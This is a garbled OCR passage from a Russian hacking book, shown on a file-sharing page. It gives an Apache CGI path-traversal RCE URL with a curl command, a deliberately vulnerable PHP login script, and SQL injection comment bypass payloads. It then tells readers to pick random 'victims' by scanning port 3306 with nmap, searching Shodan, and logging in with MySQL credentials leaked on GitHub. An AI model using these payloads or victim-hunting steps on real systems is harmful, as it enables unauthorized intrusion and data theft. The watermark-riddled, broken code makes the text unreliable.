Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Колисниченко Д. Н. Хакинг на linux.pdf
Скачиваний:
17
Добавлен:
19.04.2024
Размер:
29.19 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Пример4

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Одна из лучших полезных нагрузокследующий URL можно использовать для удаленного выполнения кода в системе, которая работает под управле­ нием уязвимого Apache:

http://$host/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh

Подобные запросы можно вводить непосредственно в браузер, или же ис­ пользовать команду curl:

curl --data "A=lecho;id>" 'http://127.0.0.1:8080/cgi­ bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv

5.2. Взлом MySQL

MySQLсамая распространенная СУБД на просторах Интернета. Большин­ ство сайтов использует именно эту СУБД или один из ее форков, например, MariaDB. В этом разделе мы поговорим о том, как взломать MySQL.

5.2.1. SQL-инъекции

Наверное, все вы слышали про SQL-инъекции- это способ внедрения SQL­ инъекции в код сайта. Посредством внедренного SQL-кoдa, конечно, если все прошло успешно, возможно украсть данные (например, платежную ин­ формацию), изменить данные в БД или же полностью уничтожить БД.

Разберемся, как делаются инъекции. Пусть у нас есть таблица users:

create tаЫе users (

- id int(ll) NOT NULL auto_increment,

login varchar(l00), , password varchar(S0),

- - - - - - - - - - -- - -- - - - - - - - - - - - -- - - - - - -- - ----- - -- - - ---- - - --- - - - - --- ------- - - - ---- --__

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

---------------- --

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

email varchar(l00),

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

PRIМARY КЕУ (id_user)

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

) ;

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Теперь рассмотрим уязвимый сценарий auth.php:

<?php

// Подключаемся к БД include "connect.php";

// Получаем данные из формы

// Используем метод GET для упрощения передачи SQL

$user $_GET['user']; $pass = $_GET['pass'];

// нашему сценарию посредством формы передается две переменные

// $user и $pass. Далее он делает запрос в БД. Если в таблице users будет // запись, где в поле login будет значение из поля формы user, а поле

//password будет содержать введенный: пароль, то результат будет содержать

//одну строку, в противном О. Если строк О - пользователь не прошел

аутентификацию

$query = "SELECT * FROM users

WHERE login = \"$login\" AND password = \"$pass\""; // выводим для отладки запрос, чтобы вы видели, что происходит echo $query;

$r = $mysqli->query($sql);

if($ri_num_rows > О)

{

echo "<р>аутентификация прошла успешно";

else echo "<p>access denied";

?>

Внимание! Данный сценарий содержит уязвимость, поэтому ни­ когда не используйте его на практике!

Для передачи данных сценарию auth.php будем использовать форму:

<form action=auth.php method=post>

,_--- ------------------------ ----------------------------- -- ----------------....-1111

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

 

 

Loginm

<input type text narne

user>

 

 

 

w

 

 

 

 

 

 

 

 

 

 

=

=

 

 

w

 

 

 

 

 

 

 

 

 

o

 

pass>

 

.

 

f-xchanPass <input type=text narne

 

 

 

 

 

 

 

.c

 

 

 

 

 

p

d

 

 

 

 

e

 

 

=

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

<input type=subrnit narne=Login> </forrn>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

в

user

укажем в

вывод

 

 

SELECT * FROM users WHERE login

"user" AND password "321"

аутентификация прошла успешно

 

 

 

 

введем

SELECT * FROM users WHERE login

"user"/*" AND password

""

 

аутентификация прошла успешно

 

 

 

ввели

 

SELECT * FROM users WHERE login = "user"/*" AND password

""

 

SELECT * FROM users WHERE login = "user"

1118

---------------------------------------------------------------------------------·

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

BUY

 

1 1,11',.1 .:;_ 1\: 111\1 fllllll 1!1!)111,1\ t"l"ll'l',1,1\ Ll'pBiillll',

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

Click

 

 

 

Преждеm

всего, нужно исследовать исхоДНЪIЙ код страницы с формой входа наClick

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

.c

 

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

сайт. Как минимум, ты узнаешь следующие вещи:

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

Как называется сценарий аутентификации, и он указывается в action

Как называются поля, содержащие логин и парольна случай автомати­ зации ты будешь знать, какие данные нужно отправлять на сервер, чтобы сценарий смог с ними работать.

Надеяться, что кто-то напишет такой же дырявый сценарий, не стоит, но по­ пытаться можно. Лучше всего SQL-инъеКЦIПI исюrrъ так:

Определить (просмотрев исходный код НТМL-страницы, выводимой в браузер) тип CMS, которая используется у "жертвы" и ее версию Далее нужно использовать Google или тобой другой поисковик для поиска ин­ формации о SQL-инъекциях в этой CMS. Если CMS популярная, то ин­ формация будет.

А вот если CMS не популярная или само1D1сная, то есть информации в открытых источниках нет, тогда придется разбираться самостоятельно. Также можно попытаться найти (если удалось опознать название и вер­ сию CMS) ее исходники на том же GitHub. Исследуй исходники и постарайся найти слабые места. Первый вариант проще, второй - нужно как минимум обладать знаниями того языка, на котором написана CMS, и квалификация твоя должна быть выше среднего. Ковыряние в коде

займет некоторое время.

5.2.2. Поиск жертвы

Если тебе все равно кого взломать, то есть нужно потренироваться, нужно первым делом найти случайную жертву. Как правило, MySQL использует порт 3306, поэтому просканируем сканером сеть:

nmap -sV -PN -р 3306 <ip>

 

Можно также сканировать диапазон IP:

 

·----------------------------------------------------------------------------------

1111

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

1 illll\

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

'\,11,11111 11,1

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

nmapm

-sv

-PN -р 3306 <ipl>-<ip2>

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Если у тебя нет определенной жертвы, но ты хочешь протестировать на ком­ то свои навыки, то можешь воспользоваться хакерским поисковиком Shodan. Он позволяет делать поиск по хостам и выводить информацию о различных сервисах на основе баннеров ответов. Также имеет возможность фильтро­ вать по портам, стране,,городу, операционным системам и так далее. Одна из отличнейших фишек - поиск сервисов с анонимной авторизацией или авторизацией со стандартными кредами.

1

WIIO\il8"'ond."м,Ulhe\11/eЫ p.tftdthe!nwmttЬ

.W

 

--Exposu•

1

l<eeptreckd.К'/Wfde\lkathltaredifectty

 

Shodentochtь.wewrythlngfrcmpower

f,om!helr'lteflwt.snodм

 

puRS,IТIOIXeCf'IOr'le5.. n:I

 

 

• ,,.....dtuf!!ФOИd_...ikes

mlrls!netintoWgonoo

Lмnmoi,!8tJOUIWl)QI\Vtlf1QVll'IOUt pr Wldnowtf'lly'ttr o,e,-tJ'tV' Snod8'1gм:lyou.1Gltl-<t'\«lnнtdtt.

Рис. 5.1. Сервис Shodan

Также жертву легко найти на GitHub. Причем вместе с исходниками на GitHub легко найти креды, то есть логины и пароли к СУБД. Часто разработ­ чики забывают удалить их, а ты можешь этим воспользоваться. Введи такой запрос mysql userpassword и ты наверняка найдешь много чего интересного. Как только что-то найдешь, можешь смело коннектиться к базе, все должно получиться.

Также для сбора информации удобно использовать Metasploit. Для этого слу­

жит auxiliary/scanner/mysqVmysql _ version, просто сканер версий , который

может сканировать целый пул адресов :

 

----------------------------------------------------------------------------------

·